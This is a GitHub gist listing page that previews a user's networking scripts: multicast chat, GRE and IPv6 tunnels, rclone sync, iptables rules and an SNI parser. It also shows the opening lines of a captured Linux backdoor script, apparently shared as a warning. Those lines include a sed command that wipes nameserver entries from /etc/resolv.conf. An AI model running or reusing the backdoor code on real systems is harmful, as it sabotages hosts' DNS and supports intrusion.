Skip to content

Instantly share code, notes, and snippets.

const lottery = () => {
const numArray = [];
const startNumber = 1;
const endNumber = 45;
const numCount = 6;
if (startNumber > endNumber)
@kerus1024
kerus1024 / node-multicastv4-console-chat.js
Last active May 17, 2019 10:41
Node.js Console Mutlicast Chat Application
global.MULTICAST_DGRAM_PORT = 1111;
global.MULTICAST_GROUP = '239.99.99.99';
global.PEER_TIMEOUT = 30
global.PEER_HEARTBEAT = 5;
global.KEY = 'ashe';
const dgram = require("dgram");
const process = require("process");
const readline = require('readline');
const os = require('os');
@kerus1024
kerus1024 / gre_tunnel.sh
Last active April 9, 2020 13:02
GRE Tunnel on Linux
#!/bin/sh
INTERFACE="gre_yy_zz"
LOCAL_ADDR="72.30.35.9"
REMOTE_ADDR="172.217.161.78"
GRE_CIDR="10.33.0.1/30"
ip link set $INTERFACE down
ip tunnel del $INTERFACE
@kerus1024
kerus1024 / rclone_sync.txt
Created March 31, 2020 13:19 — forked from muety/rclone_sync.txt
Automated Google Drive sync for Linux using rclone
Script that will trigger a local to remote sync when any changes below your local Google Drive folder occur - but at max. every 10 minutes - and a remote to local sync every x (e.g. 30 minutes) via a cron job.
0. Install rclone and configure it for Google Drive
1. Create files listed below
2. Configure rclone_watch_local.sh to be run on startup (e.g. using a systemd service unit)
3. Add a cron job that runs rclone_remote2local.sh every x (e.g. 30) minutes
----------------------
rclone_local2remote.sh
----------------------
@kerus1024
kerus1024 / ip-resolve.sh
Created April 26, 2020 10:07
Bash IP Resolve
#!/bin/bash
#
# RHEL: bind-utils
# Debian based : bind9-host
#
WATCH_DOMAIN="1dot1dot1dot1.cloudflare-dns.com"
EXEC_VAR=`host -4 -t A $WATCH_DOMAIN | head -n 1 | awk '{print $4}'`
if ! [[ $EXEC_VAR =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
@kerus1024
kerus1024 / run_without_internet.bash
Created May 31, 2020 12:52
Linux Run Process without Networking
#!/bin/bash
# IPTABLES Matching by PID got removed in 2005.
# Usage: foo.bash 0 ping -c 4 -w 1 1.1.1
# foo.bash 1 ping -c 4 -w 1.1.1.1
IPTABLES="/sbin/iptables"
REJECT_MODE="DROP" # REJECT, DROP
RANDOM_FUNC=$(( ( RANDOM % 30000 ) + 10000 ))
@kerus1024
kerus1024 / chinese-linux-backdoor-hacked.sh
Created August 28, 2020 13:27
A script that gets installed on the server if you don't care about SSH security.
#!/bin/bash
#chkconfig: 2345 88 14
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
function kills() {
#ps aux |grep -v sourplum | awk '{if($3>20.0) print $2}' | while read procid
#do
#pkill -f $procid
#done
sed -i '/nameserver*/d' /etc/resolv.conf
#!/bin/bash
TARGET=1.1.1.1
iptables -D OUTPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
iptables -t nat -D OUTPUT --destination 173.245.48.0/20 -j DNAT --to-destination=$TARGET
iptables -t nat -D OUTPUT --destination 103.21.244.0/22 -j DNAT --to-destination=$TARGET
iptables -t nat -D OUTPUT --destination 103.22.200.0/22 -j DNAT --to-destination=$TARGET
iptables -t nat -D OUTPUT --destination 103.31.4.0/22 -j DNAT --to-destination=$TARGET
iptables -t nat -D OUTPUT --destination 141.101.64.0/18 -j DNAT --to-destination=$TARGET
iptables -t nat -D OUTPUT --destination 108.162.192.0/18 -j DNAT --to-destination=$TARGET
@kerus1024
kerus1024 / setup_tunnelbroker.bash
Created December 5, 2020 08:24
Linux IPv6 in IPv4 Tunnel (Tunnelbroker)
#!/bin/bash
INTERFACE="hev6_tunnel"
SERVERv4_ADDRESS="216.218.226.238"
CLIENTv4_ADDRESS="198.51.100.69"
# Server Tunnel Address for route; Do not enter a prefix here
SERVERv6_TUNADDRESS="2001:470:6969::1"
# Client Tunnel Address; you must have to define a prefix
CLIENTv6_TUNADDRESS="2001:470:6969::2/64"
@kerus1024
kerus1024 / sni.js
Last active January 30, 2021 05:40
Read SNI Hostname from ClientHello SNI Header
const snireader = (buffer) => {
let pos = 0;
if (buffer[pos] !== 0x16) {
// SNI: Handshake
return;
}
if (buffer[pos = pos + 5] !== 0x01) {